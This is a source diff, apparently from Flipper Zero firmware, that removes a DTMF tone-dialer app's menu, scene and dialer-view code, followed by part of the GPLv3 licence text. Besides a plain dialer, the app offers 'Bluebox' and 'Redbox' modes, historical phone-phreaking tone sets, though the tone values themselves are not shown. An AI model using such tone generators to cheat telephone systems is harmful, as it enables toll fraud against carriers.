#include "../dtmf_dolphin_i.h"
|
||||
// #include "../dtmf_dolphin_data.h"
|
||||
// #include "../dtmf_dolphin_audio.h"
|
||||
|
||||
void dtmf_dolphin_scene_dialer_on_enter(void* context) {
|
||||
DTMFDolphinApp* app = context;
|
||||
DTMFDolphinScene scene_id = DTMFDolphinSceneDialer;
|
||||
enum DTMFDolphinSceneState state = scene_manager_get_scene_state(app->scene_manager, scene_id);
|
||||
|
||||
switch(state) {
|
||||
case DTMFDolphinSceneStateBluebox:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_BLUEBOX);
|
||||
break;
|
||||
case DTMFDolphinSceneStateRedboxUS:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_US);
|
||||
break;
|
||||
case DTMFDolphinSceneStateRedboxUK:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_UK);
|
||||
break;
|
||||
case DTMFDolphinSceneStateRedboxCA:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_REDBOX_CA);
|
||||
break;
|
||||
case DTMFDolphinSceneStateMisc:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_MISC);
|
||||
break;
|
||||
default:
|
||||
dtmf_dolphin_data_set_current_section(DTMF_DOLPHIN_TONE_BLOCK_DIALER);
|
||||
break;
|
||||
}
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewDialer);
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_scene_dialer_on_event(void* context, SceneManagerEvent event) {
|
||||
DTMFDolphinApp* app = context;
|
||||
UNUSED(app);
|
||||
UNUSED(event);
|
||||
bool consumed = false;
|
||||
|
||||
// if(event.type == SceneManagerEventTypeTick) {
|
||||
// consumed = true;
|
||||
// }
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void dtmf_dolphin_scene_dialer_on_exit(void* context) {
|
||||
UNUSED(context);
|
||||
}
|
||||
@@ -1,94 +0,0 @@
|
||||
#include "../dtmf_dolphin_i.h"
|
||||
|
||||
static void dtmf_dolphin_scene_start_main_menu_enter_callback(void* context, uint32_t index) {
|
||||
DTMFDolphinApp* app = context;
|
||||
uint8_t cust_event = 255;
|
||||
switch(index) {
|
||||
case 0:
|
||||
cust_event = DTMFDolphinEventStartDialer;
|
||||
break;
|
||||
case 1:
|
||||
cust_event = DTMFDolphinEventStartBluebox;
|
||||
break;
|
||||
case 2:
|
||||
cust_event = DTMFDolphinEventStartRedboxUS;
|
||||
break;
|
||||
case 3:
|
||||
cust_event = DTMFDolphinEventStartRedboxUK;
|
||||
break;
|
||||
case 4:
|
||||
cust_event = DTMFDolphinEventStartRedboxCA;
|
||||
break;
|
||||
case 5:
|
||||
cust_event = DTMFDolphinEventStartMisc;
|
||||
break;
|
||||
default:
|
||||
return;
|
||||
}
|
||||
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, cust_event);
|
||||
}
|
||||
|
||||
void dtmf_dolphin_scene_start_on_enter(void* context) {
|
||||
DTMFDolphinApp* app = context;
|
||||
VariableItemList* var_item_list = app->main_menu_list;
|
||||
|
||||
// VariableItem* item;
|
||||
variable_item_list_set_enter_callback(
|
||||
var_item_list, dtmf_dolphin_scene_start_main_menu_enter_callback, app);
|
||||
|
||||
variable_item_list_add(var_item_list, "Dialer", 0, NULL, context);
|
||||
variable_item_list_add(var_item_list, "Bluebox", 0, NULL, context);
|
||||
variable_item_list_add(var_item_list, "Redbox (US)", 0, NULL, context);
|
||||
variable_item_list_add(var_item_list, "Redbox (UK)", 0, NULL, context);
|
||||
variable_item_list_add(var_item_list, "Redbox (CA)", 0, NULL, context);
|
||||
variable_item_list_add(var_item_list, "Misc", 0, NULL, context);
|
||||
|
||||
variable_item_list_set_selected_item(
|
||||
var_item_list, scene_manager_get_scene_state(app->scene_manager, DTMFDolphinSceneStart));
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, DTMFDolphinViewMainMenu);
|
||||
}
|
||||
|
||||
bool dtmf_dolphin_scene_start_on_event(void* context, SceneManagerEvent event) {
|
||||
DTMFDolphinApp* app = context;
|
||||
UNUSED(app);
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
uint8_t sc_state;
|
||||
|
||||
switch(event.event) {
|
||||
case DTMFDolphinEventStartDialer:
|
||||
sc_state = DTMFDolphinSceneStateDialer;
|
||||
break;
|
||||
case DTMFDolphinEventStartBluebox:
|
||||
sc_state = DTMFDolphinSceneStateBluebox;
|
||||
break;
|
||||
case DTMFDolphinEventStartRedboxUS:
|
||||
sc_state = DTMFDolphinSceneStateRedboxUS;
|
||||
break;
|
||||
case DTMFDolphinEventStartRedboxUK:
|
||||
sc_state = DTMFDolphinSceneStateRedboxUK;
|
||||
break;
|
||||
case DTMFDolphinEventStartRedboxCA:
|
||||
sc_state = DTMFDolphinSceneStateRedboxCA;
|
||||
break;
|
||||
case DTMFDolphinEventStartMisc:
|
||||
sc_state = DTMFDolphinSceneStateMisc;
|
||||
break;
|
||||
default:
|
||||
return consumed;
|
||||
}
|
||||
scene_manager_set_scene_state(app->scene_manager, DTMFDolphinSceneDialer, sc_state);
|
||||
scene_manager_next_scene(app->scene_manager, DTMFDolphinSceneDialer);
|
||||
|
||||
consumed = true;
|
||||
}
|
||||
return consumed;
|
||||
}
|
||||
|
||||
void dtmf_dolphin_scene_start_on_exit(void* context) {
|
||||
DTMFDolphinApp* app = context;
|
||||
variable_item_list_reset(app->main_menu_list);
|
||||
}
|
||||
@@ -1,10 +0,0 @@
|
||||
#pragma once
|
||||
#include "../dtmf_dolphin_event.h"
|
||||
#include "../dtmf_dolphin_data.h"
|
||||
#include "../dtmf_dolphin_audio.h"
|
||||
|
||||
#define DTMF_DOLPHIN_NUMPAD_X 1
|
||||
#define DTMF_DOLPHIN_NUMPAD_Y 14
|
||||
#define DTMF_DOLPHIN_BUTTON_WIDTH 13
|
||||
#define DTMF_DOLPHIN_BUTTON_HEIGHT 13
|
||||
#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides
|
||||
@@ -1,350 +0,0 @@
|
||||
#include "dtmf_dolphin_dialer.h"
|
||||
|
||||
#include <gui/elements.h>
|
||||
|
||||
typedef struct DTMFDolphinDialer {
|
||||
View* view;
|
||||
DTMFDolphinDialerOkCallback callback;
|
||||
void* context;
|
||||
} DTMFDolphinDialer;
|
||||
|
||||
typedef struct {
|
||||
DTMFDolphinToneSection section;
|
||||
uint8_t row;
|
||||
uint8_t col;
|
||||
float freq1;
|
||||
float freq2;
|
||||
bool playing;
|
||||
uint16_t pulses;
|
||||
uint16_t pulse_ms;
|
||||
uint16_t gap_ms;
|
||||
} DTMFDolphinDialerModel;
|
||||
|
||||
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
static bool
|
||||
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event);
|
||||
|
||||
void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) {
|
||||
uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
|
||||
(col * DTMF_DOLPHIN_BUTTON_WIDTH);
|
||||
// (col * DTMF_DOLPHIN_BUTTON_PADDING);
|
||||
uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
|
||||
(row * DTMF_DOLPHIN_BUTTON_HEIGHT);
|
||||
// (row * DTMF_DOLPHIN_BUTTON_PADDING);
|
||||
|
||||
uint8_t span = dtmf_dolphin_get_tone_span(row, col);
|
||||
|
||||
if(span == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
|
||||
if(invert)
|
||||
canvas_draw_rbox(
|
||||
canvas,
|
||||
left,
|
||||
top,
|
||||
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
||||
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
||||
2);
|
||||
else
|
||||
canvas_draw_rframe(
|
||||
canvas,
|
||||
left,
|
||||
top,
|
||||
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
||||
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
||||
2);
|
||||
|
||||
if(invert) canvas_invert_color(canvas);
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
// canvas_set_color(canvas, invert ? ColorWhite : ColorBlack);
|
||||
canvas_draw_str_aligned(
|
||||
canvas,
|
||||
left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2),
|
||||
top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2),
|
||||
AlignCenter,
|
||||
AlignCenter,
|
||||
dtmf_dolphin_data_get_tone_name(row, col));
|
||||
|
||||
if(invert) canvas_invert_color(canvas);
|
||||
}
|
||||
|
||||
void draw_dialer(Canvas* canvas, void* _model) {
|
||||
DTMFDolphinDialerModel* model = _model;
|
||||
uint8_t max_rows;
|
||||
uint8_t max_cols;
|
||||
uint8_t max_span;
|
||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
|
||||
for(int r = 0; r < max_rows; r++) {
|
||||
for(int c = 0; c < max_cols; c++) {
|
||||
if(model->row == r && model->col == c)
|
||||
draw_button(canvas, r, c, true);
|
||||
else
|
||||
draw_button(canvas, r, c, false);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void update_frequencies(DTMFDolphinDialerModel* model) {
|
||||
dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col);
|
||||
dtmf_dolphin_data_get_filter_data(
|
||||
&model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col);
|
||||
}
|
||||
|
||||
static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) {
|
||||
DTMFDolphinDialerModel* model = _model;
|
||||
if(model->playing) {
|
||||
// Leverage the prioritized draw callback to handle
|
||||
// the DMA so that it doesn't skip.
|
||||
dtmf_dolphin_audio_handle_tick();
|
||||
// Don't do any drawing if audio is playing.
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
elements_multiline_text_aligned(
|
||||
canvas,
|
||||
canvas_width(canvas) / 2,
|
||||
canvas_height(canvas) / 2,
|
||||
AlignCenter,
|
||||
AlignCenter,
|
||||
"Playing Tones");
|
||||
return;
|
||||
}
|
||||
update_frequencies(model);
|
||||
uint8_t max_rows = 0;
|
||||
uint8_t max_cols = 0;
|
||||
uint8_t max_span = 0;
|
||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
||||
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name());
|
||||
canvas_draw_line(
|
||||
canvas,
|
||||
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
|
||||
0,
|
||||
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
|
||||
canvas_height(canvas));
|
||||
elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail");
|
||||
canvas_draw_line(
|
||||
canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3);
|
||||
// elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode");
|
||||
|
||||
draw_dialer(canvas, model);
|
||||
|
||||
FuriString* output = furi_string_alloc();
|
||||
|
||||
if(model->freq1 && model->freq2) {
|
||||
furi_string_cat_printf(
|
||||
output,
|
||||
"Dual Tone\nF1: %u Hz\nF2: %u Hz\n",
|
||||
(unsigned int)model->freq1,
|
||||
(unsigned int)model->freq2);
|
||||
} else if(model->freq1) {
|
||||
furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1);
|
||||
}
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
if(model->pulse_ms) {
|
||||
furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms);
|
||||
}
|
||||
if(model->gap_ms) {
|
||||
furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms);
|
||||
}
|
||||
elements_multiline_text(
|
||||
canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output));
|
||||
|
||||
furi_string_free(output);
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) {
|
||||
furi_assert(context);
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event->type == InputTypeShort) {
|
||||
if(event->key == InputKeyRight) {
|
||||
consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer);
|
||||
} else if(event->key == InputKeyLeft) {
|
||||
consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer);
|
||||
} else if(event->key == InputKeyUp) {
|
||||
consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer);
|
||||
} else if(event->key == InputKeyDown) {
|
||||
consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer);
|
||||
}
|
||||
|
||||
} else if(event->key == InputKeyOk) {
|
||||
consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event);
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
uint8_t span = 0;
|
||||
uint8_t cursor = model->row;
|
||||
while(span == 0 && cursor > 0) {
|
||||
cursor--;
|
||||
span = dtmf_dolphin_get_tone_span(cursor, model->col);
|
||||
}
|
||||
if(span != 0) {
|
||||
model->row = cursor;
|
||||
}
|
||||
},
|
||||
true);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
uint8_t max_rows = 0;
|
||||
uint8_t max_cols = 0;
|
||||
uint8_t max_span = 0;
|
||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
||||
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
uint8_t span = 0;
|
||||
uint8_t cursor = model->row;
|
||||
while(span == 0 && cursor < max_rows - 1) {
|
||||
cursor++;
|
||||
span = dtmf_dolphin_get_tone_span(cursor, model->col);
|
||||
}
|
||||
if(span != 0) {
|
||||
model->row = cursor;
|
||||
}
|
||||
},
|
||||
true);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
uint8_t span = 0;
|
||||
uint8_t cursor = model->col;
|
||||
while(span == 0 && cursor > 0) {
|
||||
cursor--;
|
||||
span = dtmf_dolphin_get_tone_span(model->row, cursor);
|
||||
}
|
||||
if(span != 0) {
|
||||
model->col = cursor;
|
||||
}
|
||||
},
|
||||
true);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
uint8_t max_rows = 0;
|
||||
uint8_t max_cols = 0;
|
||||
uint8_t max_span = 0;
|
||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
||||
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
uint8_t span = 0;
|
||||
uint8_t cursor = model->col;
|
||||
while(span == 0 && cursor < max_cols - 1) {
|
||||
cursor++;
|
||||
span = dtmf_dolphin_get_tone_span(model->row, cursor);
|
||||
}
|
||||
if(span != 0) {
|
||||
model->col = cursor;
|
||||
}
|
||||
},
|
||||
true);
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool
|
||||
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) {
|
||||
bool consumed = false;
|
||||
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
if(event->type == InputTypePress) {
|
||||
model->playing = dtmf_dolphin_audio_play_tones(
|
||||
model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms);
|
||||
} else if(event->type == InputTypeRelease) {
|
||||
model->playing = !dtmf_dolphin_audio_stop_tones();
|
||||
}
|
||||
},
|
||||
true);
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
static void dtmf_dolphin_dialer_enter_callback(void* context) {
|
||||
furi_assert(context);
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
|
||||
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
model->col = 0;
|
||||
model->row = 0;
|
||||
model->section = 0;
|
||||
model->freq1 = 0.0;
|
||||
model->freq2 = 0.0;
|
||||
model->playing = false;
|
||||
},
|
||||
true);
|
||||
}
|
||||
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() {
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer));
|
||||
|
||||
dtmf_dolphin_dialer->view = view_alloc();
|
||||
view_allocate_model(
|
||||
dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel));
|
||||
|
||||
with_view_model(
|
||||
dtmf_dolphin_dialer->view,
|
||||
DTMFDolphinDialerModel * model,
|
||||
{
|
||||
model->col = 0;
|
||||
model->row = 0;
|
||||
model->section = 0;
|
||||
model->freq1 = 0.0;
|
||||
model->freq2 = 0.0;
|
||||
model->playing = false;
|
||||
},
|
||||
true);
|
||||
|
||||
view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer);
|
||||
view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback);
|
||||
view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback);
|
||||
view_set_enter_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_enter_callback);
|
||||
return dtmf_dolphin_dialer;
|
||||
}
|
||||
|
||||
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
furi_assert(dtmf_dolphin_dialer);
|
||||
view_free(dtmf_dolphin_dialer->view);
|
||||
free(dtmf_dolphin_dialer);
|
||||
}
|
||||
|
||||
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
||||
furi_assert(dtmf_dolphin_dialer);
|
||||
return dtmf_dolphin_dialer->view;
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/view.h>
|
||||
#include "dtmf_dolphin_common.h"
|
||||
|
||||
typedef struct DTMFDolphinDialer DTMFDolphinDialer;
|
||||
typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context);
|
||||
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc();
|
||||
|
||||
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
|
||||
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
||||
|
||||
void dtmf_dolphin_dialer_set_ok_callback(
|
||||
DTMFDolphinDialer* dtmf_dolphin_dialer,
|
||||
DTMFDolphinDialerOkCallback callback,
|
||||
void* context);
|
||||
674
applications/external/esubghz_chat/LICENSE
vendored
@@ -1,674 +0,0 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
